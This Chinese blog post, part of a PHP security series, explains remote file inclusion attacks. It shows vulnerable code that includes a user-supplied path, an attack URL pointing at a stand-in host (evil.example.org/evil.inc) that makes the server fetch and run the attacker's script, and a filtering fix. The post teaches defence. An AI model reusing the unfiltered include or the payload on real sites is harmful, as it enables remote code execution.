PHP安全编程之文件包含的代码注入攻击

àì夳堔傛蜴生んèń 2022-07-19 05:19 152阅读 0赞

一个特别危险的情形是当你试图使用被污染数据作为动态[包含][Link 1]的前导部分时：

<?php
    
    include "{$_GET['path']}/header.inc";
    
    ?>

在这种情形下攻击者能操纵不只是文件名，还能控制所包含的资源。由于PHP默认不只可以包含文件，还可以包含下面的资源（由配置文件中的allow\_url\_fopen所控制）：

<?php
    
    include 'http://www.google.com/';
    
    ?>

include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的，但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被[解析][Link 2]并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。

想象一下path的值指向了下面的攻击者所控制的资源：

http://example.org/index.php?pat ... e.org%2Fevil.inc%3F

在上例中，path的值是URL编码过的，原值如下：http://evil.example.org/evil.inc?

这就导致了include语句包含并执行了攻击者所选定的脚本（evil.inc），同时原来的文件名/header.inc会被认为是一个请求串：

<?php
    
    include "http://evil.example.org/evil.inc?/header.inc";
    
    ?>

这样攻击者就避免了去猜测剩下的目录和文件名(/header.onc)并在evil.example.org上建立相同的路径和文件名的必要性。相反地，在受攻击网站的具体文件名被屏蔽的情况下，他只要保证evil.inc中输出合法的他想要执行的代码就行了。

这种情况与允许攻击者在你的网站上直接修改PHP代码一样危险。幸运的是，只要在include和require语句前对数据进行过滤即可防止这种情况的发生：

<?php
    
    $clean = array();
    
    /* $_GET['path'] is filtered and stored in $clean['path']. */
    
    include "{$clean['path']}/header.inc";
    
    ?>

[Link 1]: http://www.nowamagic.net/librarys/veda/tag/%E5%8C%85%E5%90%AB
[Link 2]: http://www.nowamagic.net/librarys/veda/tag/%E8%A7%A3%E6%9E%90

发表评论取消回复

表情：

评论列表（有 0 条评论，152人围观）

还没有评论，来说两句吧...

相关阅读

相关 PHP安全编程之PHP的安全模式

PHP的safe\_mode选项的目的是为了解决本小节前后所述的某些问题。但是，在PHP层面上去解决这类问题从架构上来看是不正确的，正如PHP手册所述(http://php.n

曾经终败给现在/ 2022年07月19日 11:50/ 0 赞/ 176 阅读

相关 PHP安全编程之会话数据注入

一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外，还有写入权限。因此，存在着编写一段允许其他用户添加，编辑或删除会话的脚本的可能

冷不防/ 2022年07月19日 11:50/ 0 赞/ 139 阅读

相关 PHP安全编程之密码嗅探与重播攻击

密码嗅探尽管攻击者通过嗅探（察看）你的用户和应用间的网络通信并不专门用于访问控制，但要意识到数据暴露变得越来越重要，特别是对于验证信息。使用SSL可以有

拼搏现实的明天。/ 2022年07月19日 11:49/ 0 赞/ 141 阅读

相关 PHP安全编程之暴力破解攻击

暴力攻击是一种不使用任何特殊手段而去穷尽各种可能性的攻击方式。它的更正式的叫法是穷举攻击——穷举各种可能性的攻击。对于访问控制，典型的暴力攻击表现为攻击者通过大量的尝试去

怼烎@/ 2022年07月19日 11:49/ 0 赞/ 244 阅读

相关 PHP安全编程之shell命令注入

使用系统命令是一项危险的操作，尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据，命令注入漏洞就产生了。 [exec()][exec]是用于执行she

小灰灰/ 2022年07月19日 05:19/ 0 赞/ 146 阅读

相关 PHP安全编程之文件包含的代码注入攻击

一个特别危险的情形是当你试图使用被污染数据作为动态[包含][Link 1]的前导部分时： <?php include "{$_GET['path']

àì夳堔傛蜴生んèń/ 2022年07月19日 05:19/ 0 赞/ 153 阅读

相关 PHP安全编程之跨站脚本攻击的防御

[跨站脚本][Link 1]攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰，PHP应用也不例外。所有有输入的应用都面临着风险。Webmail，论坛，留言本，

浅浅的花香味﹌/ 2022年07月19日 05:12/ 0 赞/ 151 阅读

相关 PHP安全编程之文件上传攻击的防御

有时在除了标准的表单数据外，你还需要让用户进行[文件上传][Link 1]。由于文件在表单中传送时与其它的表单数据不同，你必须指定一个特别的编码方式multipart/form

今天药忘吃喽~/ 2022年07月19日 05:11/ 0 赞/ 150 阅读

相关 PHP安全编程之从URL的语义进行攻击

好奇心是很多攻击者的主要动机，语义[URL][]攻击就是一个很好的例子。此类攻击主要包括对URL进行编辑以期发现一些有趣的事情。例如，如果用户chris点击了你的软件中的一个链

墨蓝/ 2022年07月19日 05:11/ 0 赞/ 130 阅读

相关 PHP安全之Web攻击

一、SQL注入攻击(SQL Injection) 攻击者把SQL命令插入到Web表单的输入域或页面请求的字符串，欺骗服务器执行恶意的SQL命令。在某些表单中，用户输入的内

快来打我*/ 2022年05月15日 04:48/ 0 赞/ 229 阅读